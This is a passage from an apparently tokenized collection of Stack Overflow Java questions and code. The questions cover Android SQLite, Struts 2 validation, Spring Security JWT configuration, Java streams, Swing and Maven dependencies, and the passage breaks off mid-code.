= c.get ( Calendar.MINUTE ) ; df = new SimpleDateFormat ( `` HH : mm a '' ) ; datefrom = c.getTime ( ) ; startTime = String.valueOf ( datefrom ) ; aTime = df.format ( datefrom.getTime ( ) ) ; showFromTime.setText ( aTime ) ; c.add ( Calendar.HOUR_OF_DAY , 1 ) ; dateto = c.getTime ( ) ; endTime = String.valueOf ( dateto ) ; bTime = df.format ( dateto.getTime ( ) ) ; showToTime.setText ( bTime ) ; public class EventTableHelper extends SQLiteOpenHelper { private static final String TABLE = `` event '' ; private static final String KEY_ID = `` id '' ; private static final String KEY_TITLE = `` title '' ; private static final String KEY_FROM_DATE = `` datefrom '' ; private static final String KEY_TO_DATE = `` dateto '' ; private static final String KEY_LOCATION = `` location '' ; private static final String KEY_DAY_OF_WEEK = `` dayofweek '' ; public EventTableHelper ( Context context ) { super ( context , Constants.DATABASE_NAME , null , Constants.DATABASE_VERSION ) ; } @ Override public void onCreate ( SQLiteDatabase db ) { } public void createTable ( SQLiteDatabase db ) { String CREATE_EVENTS_TABLE = `` CREATE TABLE `` + TABLE+ `` ( `` + KEY_ID + `` INTEGER PRIMARY KEY , '' + KEY_TITLE + `` TEXT , '' + KEY_FROM_DATE + `` DATE , '' + KEY_TO_DATE + `` DATE , '' + KEY_DAY_OF_WEEK + `` TEXT `` + KEY_LOCATION + `` TEXT '' + `` ) '' ; db.execSQL ( CREATE_EVENTS_TABLE ) ; } // Upgrading database @ Override public void onUpgrade ( SQLiteDatabase db , int oldVersion , int newVersion ) { db.execSQL ( `` DROP TABLE IF EXISTS `` + TABLE ) ; // createTable ( db ) ; // onCreate ( db ) ; } public void addEvent ( EventData event ) { SQLiteDatabase db = this.getWritableDatabase ( ) ; ContentValues values = new ContentValues ( ) ; values.put ( KEY_TITLE , event.getTitle ( ) ) ; values.put ( KEY_FROM_DATE , event.getFromDate ( ) ) ; values.put ( KEY_TO_DATE , event.getToDate ( ) ) ; values.put ( KEY_DAY_OF_WEEK , event.getDayOfWeek ( ) ) ; values.put ( KEY_LOCATION , event.getLocation ( ) ) ; db.insert ( TABLE , null , values ) ; db.close ( ) ; } EventData getEvent ( int id ) { SQLiteDatabase db = this.getReadableDatabase ( ) ; EventData eventData = new EventData ( ) ; Cursor cursor = db.query ( TABLE , new String [ ] { KEY_ID , KEY_TITLE , KEY_FROM_DATE , KEY_TO_DATE , KEY_LOCATION } , KEY_ID + `` = ? `` , new String [ ] { String.valueOf ( id ) } , null , null , null , null ) ; if ( cursor ! = null & & cursor.moveToFirst ( ) ) { eventData = new EventData ( Integer.parseInt ( cursor.getString ( 0 ) ) , cursor.getString ( 1 ) , cursor.getString ( 2 ) , cursor.getString ( 3 ) , cursor.getString ( 4 ) ) ; } return eventData ; } public List < EventData > getAllEvents ( ) { List < EventData > conList = new ArrayList < EventData > ( ) ; String selectQuery = `` SELECT * FROM `` + TABLE ; SQLiteDatabase db = this.getWritableDatabase ( ) ; Cursor cursor = db.rawQuery ( selectQuery , null ) ; if ( cursor.moveToFirst ( ) ) { do { EventData event = new EventData ( ) ; event.setId ( Integer.parseInt ( cursor.getString ( 0 ) ) ) ; event.setTitle ( cursor.getString ( 1 ) ) ; event.setFromDate ( cursor.getString ( 2 ) ) ; event.setToDate ( cursor.getString ( 3 ) ) ; event.setLocation ( cursor.getString ( 4 ) ) ; conList.add ( event ) ; } while ( cursor.moveToNext ( ) ) ; } return conList ; } } @ Overridepublic void onClick ( View v ) { eventTitle = title.getText ( ) .toString ( ) ; EventTableHelper db = new EventTableHelper ( getApplication ( ) ) ; List < EventData > events ; // events = db.getOverlappingEvents ( startTime , endTime ) ; if ( eventTitle.length ( ) == 0 ) { Toast.makeText ( getApplicationContext ( ) , `` Title can not be empty . `` , Toast.LENGTH_LONG ) .show ( ) ; } else if ( db.doesEventOverlap ( startTime , endTime ) ) { Toast.makeText ( getApplicationContext ( ) , `` Event exists '' , Toast.LENGTH_LONG ) .show ( ) ; } else { db.addEvent ( new EventData ( eventTitle , startTime , endTime , dayOfWeek , location ) ) ; setResult ( RESULT_OK , i ) ; finish ( ) ; } }",How to get dates from database and check if they overlaps ? +Java,"I am working on a Struts 2 project , the problem is that I am using < constant name= '' struts.ui.theme '' value= '' simple '' / > in my struts.xml for the layout of my JSP page ( e.g arranging 2-3 textfiled in one line using tablecode ) as per the CSS applied , but I am not able show the validation error on the same jsp page due to theme= '' simple '' .Configuration : Action : View : Is there a way to maintain the layout with my CSS and also use Struts 2 validation ?","< struts > < ! -- Configuration for the default package . -- > < constant name= '' struts.ui.theme '' value= '' simple '' / > < package name= '' default '' extends= '' struts-default '' > < action name= '' validateUser '' class= '' login.LoginAction '' > < result name= '' SUCCESS '' > /welcome.jsp < /result > < result name= '' input '' > /login.jsp < /result > < /action > < /package > < /struts > public class LoginAction extends ActionSupport { private String username ; // getter and setter private String password ; // getter and setter @ Override public String execute ( ) { // some business logic here ... . return `` SUCCESS '' ; } //simple validation @ Override public void validate ( ) { if ( `` '' .equals ( getUsername ( ) ) ) { addFieldError ( `` username '' , getText ( `` username.required '' ) ) ; } if ( `` '' .equals ( getPassword ( ) ) ) { addFieldError ( `` password '' , getText ( `` password.required '' ) ) ; } } } < s : form action= '' validateUser '' validate= '' true '' > < table > < tr > < td > username < /td > < td > < s : textfield label= '' username '' name= '' username '' / > < td/ > < /tr > < tr > < td > password < /td > < td > < s : password label= '' password '' name= '' password '' / > < td/ > < tr > < td > < s : submit label= '' submit '' name= '' submit '' / > < /td > < /tr > < /table > < /s : form >",The validation and theme in Struts 2 +Java,"I have a problem with some code from GlazedList 1.8 that causes a SIGSEGV when running under java 1.8_05/64 bit/FC20 & Windows 8.I have the disassembled output ( -XX : +UnlockDiagnosticVMOptions '-XX : CompileCommand=print , *BoyerMooreCaseInsensitiveTextSearchStrategy.indexOf ' see below ) but I no clue on how to debug it.So any help with debugging the code or a hint to where to ask for help is appreciated.The disassembled code is more than 30000 chars . long so you will have to go here https : //java.net/jira/browse/GLAZEDLISTS-564 ? focusedCommentId=378982 & page=com.atlassian.jira.plugin.system.issuetabpanels : comment-tabpanel # comment-378982 to read the codeA fatal error has been detected by the Java Runtime Environment : JRE version : Java ( TM ) SE Runtime Environment ( 8.0_05-b13 ) ( build1.8.0_05-b13 ) Java VM : Java HotSpot ( TM ) 64-Bit Server VM ( 25.5-b02 mixed mode linux-amd64 compressed oops ) Problematic frame : J 12756 C2ca.odell.glazedlists.impl.filter.BoyerMooreCaseInsensitiveTextSearchStrategy.indexOf ( Ljava/lang/String ; ) I ( 147 bytes ) @ 0x00007fdc2d93bcfc [ 0x00007fdc2d93baa0+0x25c ]","SIGSEGV ( 0xb ) at pc=0x00007fdc2d93bcfc , pid=12092 , tid=140582414018304",Java 1.7/1.8 JIT Compiler broken ? +Java,"For educational purposes I want to create a stream of prime numbers using Java-8 . Here 's my approach . The number x is prime if it has no prime divisors not exceeding sqrt ( x ) . So assuming I already have a stream of primes I can check this with the following predicate : Here I used jOOλ library ( 0.9.10 if it matters ) just for limitWhile operation which is absent in standard Stream API . So now knowing some previous prime prev I can generate the next prime iterating the numbers until I find the one matching this predicate : Putting everything together I wrote the following primes ( ) method : Now to launch this I use : Unfortunately it fails with unpleasant StackOverflowError which looks like this : You might think that I deserve what I get : I called the primes ( ) recursively inside the primes ( ) method itself . However let 's just change the method return type to Stream < Long > and use Stream.iterate instead , leaving everything else as is : Now it works like a charm ! Not very fast , but in couple of minutes I get the prime numbers exceeding 1000000 without any exceptions . The result is correct , which can be checked against the table of primes : So the question is : what 's wrong with the first LongStream-based version ? Is it jOOλ bug , JDK bug or I 'm doing something wrong ? Note that I 'm not interested in alternative ways to generate primes , I want to know what 's wrong with this specific code .","x - > Seq.seq ( primes ( ) ) .limitWhile ( p - > p < = Math.sqrt ( x ) ) .allMatch ( p - > x % p ! = 0 ) prev - > LongStream.iterate ( prev + 1 , i - > i + 1 ) .filter ( x - > Seq.seq ( primes ( ) ) .limitWhile ( p - > p < = Math.sqrt ( x ) ) .allMatch ( p - > x % p ! = 0 ) ) .findFirst ( ) .getAsLong ( ) public static LongStream primes ( ) { return LongStream.iterate ( 2L , prev - > LongStream.iterate ( prev + 1 , i - > i + 1 ) .filter ( x - > Seq.seq ( primes ( ) ) .limitWhile ( p - > p < = Math.sqrt ( x ) ) .allMatch ( p - > x % p ! = 0 ) ) .findFirst ( ) .getAsLong ( ) ) ; } primes ( ) .forEach ( System.out : :println ) ; Exception in thread `` main '' java.lang.StackOverflowErrorat java.util.stream.ReferencePipeline $ StatelessOp.opIsStateful ( ReferencePipeline.java:624 ) at java.util.stream.AbstractPipeline. < init > ( AbstractPipeline.java:211 ) at java.util.stream.ReferencePipeline. < init > ( ReferencePipeline.java:94 ) at java.util.stream.ReferencePipeline $ StatelessOp. < init > ( ReferencePipeline.java:618 ) at java.util.stream.LongPipeline $ 3. < init > ( LongPipeline.java:225 ) at java.util.stream.LongPipeline.mapToObj ( LongPipeline.java:224 ) at java.util.stream.LongPipeline.boxed ( LongPipeline.java:201 ) at org.jooq.lambda.Seq.seq ( Seq.java:2481 ) at Primes.lambda $ 2 ( Primes.java:13 ) at Primes $ $ Lambda $ 4/1555009629.test ( Unknown Source ) at java.util.stream.LongPipeline $ 8 $ 1.accept ( LongPipeline.java:324 ) at java.util.Spliterators $ LongIteratorSpliterator.tryAdvance ( Spliterators.java:2009 ) at java.util.stream.LongPipeline.forEachWithCancel ( LongPipeline.java:160 ) at java.util.stream.AbstractPipeline.copyIntoWithCancel ( AbstractPipeline.java:529 ) at java.util.stream.AbstractPipeline.copyInto ( AbstractPipeline.java:516 ) at java.util.stream.AbstractPipeline.wrapAndCopyInto ( AbstractPipeline.java:502 ) at java.util.stream.FindOps $ FindOp.evaluateSequential ( FindOps.java:152 ) at java.util.stream.AbstractPipeline.evaluate ( AbstractPipeline.java:234 ) at java.util.stream.LongPipeline.findFirst ( LongPipeline.java:474 ) at Primes.lambda $ 0 ( Primes.java:14 ) at Primes $ $ Lambda $ 1/918221580.applyAsLong ( Unknown Source ) at java.util.stream.LongStream $ 1.nextLong ( LongStream.java:747 ) at java.util.Spliterators $ LongIteratorSpliterator.tryAdvance ( Spliterators.java:2009 ) ... public static Stream < Long > primes ( ) { return Stream.iterate ( 2L , prev - > LongStream.iterate ( prev + 1 , i - > i + 1 ) .filter ( x - > Seq.seq ( primes ( ) ) .limitWhile ( p - > p < = Math.sqrt ( x ) ) .allMatch ( p - > x % p ! = 0 ) ) .findFirst ( ) .getAsLong ( ) ) ; } System.out.println ( primes ( ) .skip ( 9999 ) .findFirst ( ) ) ; // prints Optional [ 104729 ] which is actually 10000th prime .",Generating primes with LongStream and jOOλ leads to StackOverflowError +Java,"It may sound that this question is a duplicate of : How to properly configure AdMob using IntelliJ IDEA ? But it is n't ! ( Specially because that question is from 2011 , and the google-process changed ( As it seems ) ) . I 'm following this google-reference for proper setup.First of all , there 's the `` Using Android Studio '' option , and I have no idea of what that is . Then , I went to the next one : `` Using Eclipse or another IDE '' , then there is a note , that was pretty straight-foward.I 've selected my project on IntelliJ Idea , pressed F4 ( Open Module Settings ) and went to SDKs in Platform Settings and just added the folder they asked ( extras\google\google_play_services ) . Supposing that this is the correct way to `` add the google ad library '' , I continued and added to the manifest file what they asked for . When I compile the app , I get the error : So , as it seems , I did not import it correctly ( And from this part on , I do n't know how to proceed ) .",D : \Computer Programming\IdeaProjects\Black Square\AndroidManifest.xml:8 : error : Error : No resource found that matches the given name ( at 'value ' with value ' @ integer/google_play_services_version ' ) .,How to setup admob on IntelliJ Idea ? +Java,"Example : Now the problem is : I call SubClass.doIt ( ) MainClass.doIt ( ) is calledMainClass.doIt ( ) makes recursion calling doIt ( ) But : the SubClass.doIt ( ) is called instead of MainClass.doIt ( ) That is very strange behaviour and problems are programmed ! I tried to call the recursion with this.doIt ( ) but that did n't help.Someone has an idea ? Thanks alot for your answers , this problem is solved .",class MainClass { public doIt ( ) { ... else doIt ( ) ; } } class SubClass extends MainClass { @ Override public doIt ( ) { super.doIt ( ) ; ... } },Java : recursion within main-class calls subclass-method instead of its own method +Java,"I have been working on a problem for 2 days and it 's going to be a headache for me ! I use swing to create the GUI for my app . I want to add a label to my panel after running the code by clicking on the button , but I ca n't . Please help me to solve this problem.Much of this code is auto-generated by swing and it 's not code I wrote . }","package javaapplication1 ; import java.awt.Color ; import javax.swing.SwingConstants ; import javax.swing . * ; import java.awt . * ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.awt.event . * ; public class RandomWordGUI extends javax.swing.JFrame { /** Creates new form RandomWordGUI */public RandomWordGUI ( ) { initComponents ( ) ; } /** This method is called from within the constructor to * initialize the form . * WARNING : Do NOT modify this code . The content of this method is * always regenerated by the Form Editor . */ @ SuppressWarnings ( `` unchecked '' ) // < editor-fold defaultstate= '' collapsed '' desc= '' Generated Code '' > private void initComponents ( ) { jPanel1 = new javax.swing.JPanel ( ) ; jButton1 = new javax.swing.JButton ( ) ; jLabel1 = new javax.swing.JLabel ( ) ; setDefaultCloseOperation ( javax.swing.WindowConstants.EXIT_ON_CLOSE ) ; jButton1.setText ( `` jButton1 '' ) ; jButton1.addActionListener ( new java.awt.event.ActionListener ( ) { public void actionPerformed ( java.awt.event.ActionEvent evt ) { jButton1ActionPerformed ( evt ) ; } } ) ; jLabel1.setText ( `` jLabel1 '' ) ; javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout ( jPanel1 ) ; jPanel1.setLayout ( jPanel1Layout ) ; jPanel1Layout.setHorizontalGroup ( jPanel1Layout.createParallelGroup ( javax.swing.GroupLayout.Alignment.LEADING ) .addGroup ( jPanel1Layout.createSequentialGroup ( ) .addGroup ( jPanel1Layout.createParallelGroup ( javax.swing.GroupLayout.Alignment.LEADING ) .addGroup ( jPanel1Layout.createSequentialGroup ( ) .addGap ( 155 , 155 , 155 ) .addComponent ( jButton1 ) ) .addGroup ( jPanel1Layout.createSequentialGroup ( ) .addGap ( 172 , 172 , 172 ) .addComponent ( jLabel1 ) ) ) .addContainerGap ( 172 , Short.MAX_VALUE ) ) ) ; jPanel1Layout.setVerticalGroup ( jPanel1Layout.createParallelGroup ( javax.swing.GroupLayout.Alignment.LEADING ) .addGroup ( javax.swing.GroupLayout.Alignment.TRAILING , jPanel1Layout.createSequentialGroup ( ) .addGap ( 70 , 70 , 70 ) .addComponent ( jLabel1 ) .addPreferredGap ( javax.swing.LayoutStyle.ComponentPlacement.RELATED , javax.swing.GroupLayout.DEFAULT_SIZE , Short.MAX_VALUE ) .addComponent ( jButton1 ) .addGap ( 91 , 91 , 91 ) ) ) ; javax.swing.GroupLayout layout = new javax.swing.GroupLayout ( getContentPane ( ) ) ; getContentPane ( ) .setLayout ( layout ) ; layout.setHorizontalGroup ( layout.createParallelGroup ( javax.swing.GroupLayout.Alignment.LEADING ) .addComponent ( jPanel1 , javax.swing.GroupLayout.Alignment.TRAILING , javax.swing.GroupLayout.DEFAULT_SIZE , javax.swing.GroupLayout.DEFAULT_SIZE , Short.MAX_VALUE ) ) ; layout.setVerticalGroup ( layout.createParallelGroup ( javax.swing.GroupLayout.Alignment.LEADING ) .addGroup ( javax.swing.GroupLayout.Alignment.TRAILING , layout.createSequentialGroup ( ) .addContainerGap ( 186 , Short.MAX_VALUE ) .addComponent ( jPanel1 , javax.swing.GroupLayout.PREFERRED_SIZE , 114 , javax.swing.GroupLayout.PREFERRED_SIZE ) ) ) ; pack ( ) ; } // < /editor-fold > private void jButton1ActionPerformed ( java.awt.event.ActionEvent evt ) { JLabel jLabel2 = new JLabel ( ) ; jLabel2.setText ( `` this is a label '' ) ; this.jPanel1.add ( jLabel2 ) ; this.jPanel1.repaint ( ) ; this.jPanel1.revalidate ( ) ; } /*** @ param args the command line arguments*/public static void main ( String args [ ] ) { java.awt.EventQueue.invokeLater ( new Runnable ( ) { public void run ( ) { new RandomWordGUI ( ) .setVisible ( true ) ; } RandomWordGUI randWord=new RandomWordGUI ( ) ; } ) ; } // Variables declaration - do not modifyprivate javax.swing.JButton jButton1 ; private javax.swing.JLabel jLabel1 ; private javax.swing.JPanel jPanel1 ; // End of variables declaration",Create and show a label after running java application +Java,I am developing application that uses Cassandra NoSQL database and I am adding web interface . I have 2 projects : cassandra-access ( this project is DAL ) and web ( this project is web application ) .Scenario is simple enaugh . Cassandra-access has dependencies on hector.jar which is not in maven repository . So I added this dependency to my local repository via mvn install : install-file and I list my repository in parent pom : In Web projects pom I added dependency on Cassandra-access . But when i start the Web application with hello world read from database I am getting classNotFound exception as if the hector.jar is n't on class path . When I write mvn clean install the resulting war of web project does n't include hector.jar in WEB-INF/lib . That further confirms my theory . How to achieve that war get 's all the transitive dependcies ? I thought that all dependencies that are in scope compile ( which is default ) will get copied.Web projects pom : Cassandra-access pom :,< repositories > < repository > < id > loc < /id > < url > file : // $ { basedir } /../mvn-local-repository < /url > < /repository > < /repositories > < dependency > < groupId > net.product < /groupId > < artifactId > cassandra-access < /artifactId > < version > 1.0-SNAPSHOT < /version > < /dependency > < dependency > < groupId > me.prettyprint < /groupId > < artifactId > hector < /artifactId > < version > 0.7.0 < /version > < /dependency >,Transitive third party dependencies with Maven +Java,"In JDK 1.7 , there is an ArrayList declaration which is used by asList.Why did they make a new private static class and not use java.util.ArrayList :","@ SafeVarargspublic static < T > List < T > asList ( T ... a ) { return new ArrayList < > ( a ) ; } /** * @ serial include */private static class ArrayList < E > extends AbstractList < E > implements RandomAccess , java.io.Serializable { private static final long serialVersionUID = -2764017481108945198L ; private final E [ ] a ; ArrayList ( E [ ] array ) { if ( array==null ) throw new NullPointerException ( ) ; a = array ; } public int size ( ) { return a.length ; } public Object [ ] toArray ( ) { return a.clone ( ) ; } public < T > T [ ] toArray ( T [ ] a ) { int size = size ( ) ; if ( a.length < size ) return Arrays.copyOf ( this.a , size , ( Class < ? extends T [ ] > ) a.getClass ( ) ) ; System.arraycopy ( this.a , 0 , a , 0 , size ) ; if ( a.length > size ) a [ size ] = null ; return a ; } public E get ( int index ) { return a [ index ] ; } public E set ( int index , E element ) { E oldValue = a [ index ] ; a [ index ] = element ; return oldValue ; } public int indexOf ( Object o ) { if ( o==null ) { for ( int i=0 ; i < a.length ; i++ ) if ( a [ i ] ==null ) return i ; } else { for ( int i=0 ; i < a.length ; i++ ) if ( o.equals ( a [ i ] ) ) return i ; } return -1 ; } public boolean contains ( Object o ) { return indexOf ( o ) ! = -1 ; } }",Why is there an ArrayList declaration within java.util.Arrays +Java,Given the code below.Can B object be garbage collected after the A object is created ?,"class A { private B b ; public A ( ) { b = new B ( ) ; } } class Main { public static void main ( String [ ] args ) { A a = new A ( ) ; // two objects are created ( a and b ) // < -- is B object , referenced only by private a.b eligible for garbage collection ? keepAlive ( a ) ; } }",Garbage collection of private fields +Java,"I already have Spring Security Cookie mechanism in place for my application , now only for the API 's , I need to add JWT Token-based authentication mechanism . I 'm using Spring Security 's MultiHttpSecurityConfiguration with two nested class.Whether both session and JWT token mechanism should be included together in one application or not is a different question altogether , I need to achieve two things.Spring Security 's session-based authentication with cookie will work as it was before.Need to add an authentication header for API'sJwtAuthenticationTokenFilter.javaJwtTokenUtil.javaIt seems that now the JwtSecurityConfig filter is not being applied for the path I have mentioned.Any help will be appreciated.I have already read this question . I followed the same . Spring Security with Spring Boot : Mix Basic Authentication with JWT token authenticationEdit : Added JwtAuthenticationTokenFilter , JwtTokenUtil","package com.leadwinner.sms.config ; import java.util.Collections ; import org.slf4j.Logger ; import org.slf4j.LoggerFactory ; import org.springframework.beans.factory.annotation.Autowired ; import org.springframework.beans.factory.annotation.Qualifier ; import org.springframework.context.annotation.Bean ; import org.springframework.context.annotation.ComponentScan ; import org.springframework.context.annotation.Configuration ; import org.springframework.core.annotation.Order ; import org.springframework.security.authentication.AuthenticationManager ; import org.springframework.security.authentication.ProviderManager ; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder ; import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity ; import org.springframework.security.config.annotation.web.builders.HttpSecurity ; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity ; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter ; import org.springframework.security.config.http.SessionCreationPolicy ; import org.springframework.security.core.userdetails.UserDetailsService ; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder ; import org.springframework.security.crypto.password.PasswordEncoder ; import org.springframework.security.web.authentication.AuthenticationSuccessHandler ; import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter ; import org.springframework.security.web.authentication.logout.LogoutSuccessHandler ; import com.leadwinner.sms.CustomAuthenticationSuccessHandler ; import com.leadwinner.sms.CustomLogoutSuccessHandler ; import com.leadwinner.sms.config.jwt.JwtAuthenticationProvider ; import com.leadwinner.sms.config.jwt.JwtAuthenticationTokenFilter ; import com.leadwinner.sms.config.jwt.JwtSuccessHandler ; @ EnableWebSecurity @ EnableGlobalMethodSecurity ( prePostEnabled = true , securedEnabled = true ) @ ComponentScan ( basePackages = `` com.leadwinner.sms '' ) public class MultiHttpSecurityConfig { @ Autowired @ Qualifier ( `` userServiceImpl '' ) private UserDetailsService userServiceImpl ; @ Autowired private JwtAuthenticationProvider authenticationProvider ; @ Autowired public void configureGlobal ( AuthenticationManagerBuilder auth ) throws Exception { auth.userDetailsService ( userServiceImpl ) .passwordEncoder ( passwordEncoder ( ) ) ; } @ Bean public PasswordEncoder passwordEncoder ( ) { return new BCryptPasswordEncoder ( ) ; } @ Bean public AuthenticationManager authenticationManager ( ) { return new ProviderManager ( Collections.singletonList ( authenticationProvider ) ) ; } @ Configuration @ Order ( 1 ) public static class JwtSecurityConfig extends WebSecurityConfigurerAdapter { @ Autowired private JwtAuthenticationTokenFilter jwtauthFilter ; @ Override public void configure ( HttpSecurity http ) throws Exception { http.csrf ( ) .disable ( ) .antMatcher ( `` /web/umgmt/** '' ) .authorizeRequests ( ) .antMatchers ( `` /web/umgmt/** '' ) .authenticated ( ) .and ( ) .addFilterBefore ( jwtauthFilter , UsernamePasswordAuthenticationFilter.class ) ; http.sessionManagement ( ) .sessionCreationPolicy ( SessionCreationPolicy.STATELESS ) ; } } @ Configuration @ Order ( 2 ) public static class SecurityConfig extends WebSecurityConfigurerAdapter { private final Logger logger = LoggerFactory.getLogger ( SecurityConfig.class ) ; @ Bean public CustomAuthenticationEntryPoint getBasicAuthEntryPoint ( ) { return new CustomAuthenticationEntryPoint ( ) ; } @ Override public void configure ( HttpSecurity http ) throws Exception { logger.info ( `` http configure '' ) ; http .antMatcher ( `` /** '' ) .authorizeRequests ( ) .antMatchers ( `` /login/authenticate '' ) .permitAll ( ) .antMatchers ( `` /resources/js/** '' ) .permitAll ( ) .antMatchers ( `` /resources/css/** '' ) .permitAll ( ) .antMatchers ( `` /resources/images/** '' ) .permitAll ( ) .antMatchers ( `` /web/initial/setup/** '' ) .permitAll ( ) .antMatchers ( `` /dsinput/** '' ) .permitAll ( ) .antMatchers ( `` /dsoutput/** '' ) .permitAll ( ) .and ( ) .formLogin ( ) .loginPage ( `` /login '' ) .usernameParameter ( `` employeeId '' ) .passwordParameter ( `` password '' ) .successForwardUrl ( `` /dashboard '' ) .defaultSuccessUrl ( `` /dashboard '' , true ) .successHandler ( customAuthenticationSuccessHandler ( ) ) .failureForwardUrl ( `` /logout '' ) .loginProcessingUrl ( `` /j_spring_security_check '' ) .and ( ) .logout ( ) .logoutSuccessUrl ( `` /logout '' ) .logoutUrl ( `` /j_spring_security_logout '' ) .logoutSuccessHandler ( customLogoutSuccessHandler ( ) ) .permitAll ( ) .invalidateHttpSession ( true ) .deleteCookies ( `` JSESSIONID '' ) .and ( ) .sessionManagement ( ) .sessionFixation ( ) .none ( ) .sessionCreationPolicy ( SessionCreationPolicy.ALWAYS ) .invalidSessionUrl ( `` /logout '' ) .and ( ) .exceptionHandling ( ) .accessDeniedPage ( `` /logout '' ) .and ( ) .csrf ( ) .disable ( ) ; http.authorizeRequests ( ) .anyRequest ( ) .authenticated ( ) ; } @ Bean public AuthenticationSuccessHandler customAuthenticationSuccessHandler ( ) { return new CustomAuthenticationSuccessHandler ( ) ; } @ Bean public LogoutSuccessHandler customLogoutSuccessHandler ( ) { return new CustomLogoutSuccessHandler ( ) ; } } } package com.leadwinner.sms.config.jwt ; import java.io.IOException ; import javax.servlet.FilterChain ; import javax.servlet.ServletException ; import javax.servlet.http.HttpServletRequest ; import javax.servlet.http.HttpServletResponse ; import org.springframework.beans.factory.annotation.Autowired ; import org.springframework.security.authentication.UsernamePasswordAuthenticationToken ; import org.springframework.security.core.context.SecurityContextHolder ; import org.springframework.security.web.authentication.WebAuthenticationDetailsSource ; import org.springframework.web.filter.OncePerRequestFilter ; public class JwtAuthenticationTokenFilter extends OncePerRequestFilter { @ Autowired private JwtTokenUtil jwtTokenUtil ; @ Override protected void doFilterInternal ( HttpServletRequest request , HttpServletResponse response , FilterChain chain ) throws ServletException , IOException { final String header = request.getHeader ( `` Authorization '' ) ; if ( header ! = null & & header.startsWith ( `` Bearer `` ) ) { String authToken = header.substring ( 7 ) ; System.out.println ( authToken ) ; try { String username = jwtTokenUtil.getUsernameFromToken ( authToken ) ; if ( username ! = null & & SecurityContextHolder.getContext ( ) .getAuthentication ( ) == null ) { if ( jwtTokenUtil.validateToken ( authToken , username ) ) { UsernamePasswordAuthenticationToken usernamePasswordAuthenticationToken = new UsernamePasswordAuthenticationToken ( username , null , null ) ; usernamePasswordAuthenticationToken .setDetails ( new WebAuthenticationDetailsSource ( ) .buildDetails ( request ) ) ; SecurityContextHolder.getContext ( ) .setAuthentication ( usernamePasswordAuthenticationToken ) ; } } } catch ( Exception e ) { System.out.println ( `` Unable to get JWT Token , possibly expired '' ) ; } } chain.doFilter ( request , response ) ; } } package com.leadwinner.sms.config.jwt ; import java.io.Serializable ; import java.util.Date ; import java.util.HashMap ; import java.util.Map ; import java.util.function.Function ; import org.springframework.stereotype.Component ; import io.jsonwebtoken.Claims ; import io.jsonwebtoken.Jwts ; import io.jsonwebtoken.SignatureAlgorithm ; @ Componentpublic class JwtTokenUtil implements Serializable { private static final long serialVersionUID = 8544329907338151549L ; public static final long JWT_TOKEN_VALIDITY = 5 * 60 * 60 ; private String secret = `` my-secret '' ; public String getUsernameFromToken ( String token ) { return getClaimFromToken ( token , Claims : :getSubject ) ; } public Date getExpirationDateFromToken ( String token ) { return getClaimFromToken ( token , Claims : :getExpiration ) ; } public < T > T getClaimFromToken ( String token , Function < Claims , T > claimsResolver ) { final Claims claims = getAllClaimsFromToken ( token ) ; return claimsResolver.apply ( claims ) ; } private Claims getAllClaimsFromToken ( String token ) { return Jwts.parser ( ) .setSigningKey ( secret ) .parseClaimsJws ( token ) .getBody ( ) ; } private Boolean isTokenExpired ( String token ) { final Date expiration = getExpirationDateFromToken ( token ) ; return expiration.before ( new Date ( ) ) ; } public String generateToken ( String username ) { Map < String , Object > claims = new HashMap < > ( ) ; return doGenerateToken ( claims , username ) ; } private String doGenerateToken ( Map < String , Object > claims , String subject ) { return `` Bearer `` + Jwts.builder ( ) .setClaims ( claims ) .setSubject ( subject ) .setIssuedAt ( new Date ( System.currentTimeMillis ( ) ) ) .setExpiration ( new Date ( System.currentTimeMillis ( ) + JWT_TOKEN_VALIDITY * 1000 ) ) .signWith ( SignatureAlgorithm.HS512 , secret ) .compact ( ) ; } public Boolean validateToken ( String token , String usernameFromToken ) { final String username = getUsernameFromToken ( token ) ; return ( username.equals ( usernameFromToken ) & & ! isTokenExpired ( token ) ) ; } }",Spring Security MultiHttpSecurity Configuration so that I can perform two types of authentication . JWT Token and Session Cookie +Java,"I 'm trying to figure out how I can go about finding members of a list - but only ones that have n't past their expired date - which is one of the properties of the model . Right now I have : Somewhere in there I need to check the expiration date of an individual notification and not return it if today is past that date . Right now that model for a notificatin looks like this : This is my first ever Stackoverflow post so go easy on me ! And thank you , in advance , for the help !","public static Result getAllNotifications ( ) { List < Notification > notifications = Notification.getAllNotifications ( ) ; for ( Notification i : notifications ) { List < Attachments > attachments = Attachments.findAllById ( i.id ) ; i.attached = attachments ; } return ok ( toJson ( notifications ) ) ; } public class Notification extends Model { /** * */private static final long serialVersionUID = 1L ; @ Id @ NonEmptypublic Long id ; @ Constraints.Requiredpublic String title ; @ Formats.DateTime ( pattern = `` dd/MM/yyyy '' ) public Date created = new Date ( ) ; @ Constraints.Required @ Column ( columnDefinition= '' TEXT '' ) public String text ; @ Formats.DateTime ( pattern = `` dd/MM/yyyy '' ) public Date updated = new Date ( ) ; public Boolean status ; public Date expires ; public String author ; public List < Attachments > attached ; public Notification ( ) { } public Notification ( Long id , String title , String text ) { this.created = new Date ( ) ; this.title = title ; this.text = text ; this.id = id ; } public static Model.Finder < String , Notification > find = new Model.Finder < String , Notification > ( String.class , Notification.class ) ;",Play 2.0 Framework - find all that have n't expired +Java,"I am wondering if it is possible to split an object inside a Stream . For example , for this Employee : I would like to perform some operation in the stream . For simplicity , let it be something like this ( assume my code architecture does not allow to put this inside Employee class - otherwise it would be too easy ) : Now it looks like this : The question is , is it possible to put some code inside a stream like this ? What am I trying to achieve ? - I think if I could map some object fields and then process them like .forEach ( this : :someOperationWithEmployee ) code readability would be improved slightly.Update 14.05.2015Without a doubt to pass an Employee object to someOperationWithEmployee is prettiest solution in this case but sometimes we can not do this in real life and should be universal solution with lambdas .","public class Employee { String name ; int age ; double salary ; public Employee ( String name , int age , double salary ) { this.name = name ; this.age = age ; this.salary = salary ; } public String getName ( ) { return name ; } public int getAge ( ) { return age ; } public double getSalary ( ) { return salary ; } } public void someOperationWithEmployee ( String name , int age , double salary ) { System.out.format ( `` % s % d % .0f\n '' , name , age , salary ) ; } Stream.of ( new Employee ( `` Adam '' , 38 